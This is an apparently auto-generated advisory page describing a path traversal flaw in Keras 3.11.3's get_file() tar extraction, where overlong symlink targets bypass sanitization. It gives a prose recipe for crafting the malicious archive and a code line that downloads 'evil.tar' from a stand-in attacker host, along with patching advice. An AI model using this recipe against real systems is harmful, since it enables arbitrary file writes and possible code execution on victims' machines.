Listen to this Post
The vulnerability in Keras version 3.11.3 resides in the `keras.utils.get_file()` function, which is used to download and cache files. When extracting downloaded tar archives, the function internally uses Python’s `tarfile.extractall()` without setting the security-critical `filter=’data’` parameter. Although Keras attempts to sanitize paths with a custom `filter_safe_paths()` function before extraction, a specific edge-case bypass exists. During extraction, if a symlink within the tar file has a target path that exceeds the system’s `PATH_MAX` length limit, the symlink resolution fails. This failure triggers an exception handler that, due to the missing `filter=’data’` parameter, can cause the associated file to be written outside the intended extraction directory. This path traversal flaw allows an attacker who controls a tar file processed by `get_file()` to achieve arbitrary file write to any location the process has write access to, potentially leading to code execution or system compromise.
DailyCVE Form:
Platform: Keras
Version: 3.11.3
Vulnerability: Path Traversal
Severity: High
Date: 2025-11-28
Prediction: 2025-12-15
What Undercode Say:
pip show keras
import keras.utils
keras.utils.get_file('malicious.tar', 'http://attacker/evil.tar')
tar -tf malicious.tar
How Exploit:
Craft malicious tar archives containing symbolic links with excessively long target paths designed to exceed `PATH_MAX` during resolution, bypassing pre-extraction path sanitization and writing files outside the designated cache directory.
Protection from this CVE
Upgrade Keras. Apply `filter=’data’` parameter to `tarfile.extractall()` calls. Validate tar contents against allowlists. Run with minimal filesystem permissions.
Impact:
Arbitrary File Write, Potential Code Execution, System Compromise.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
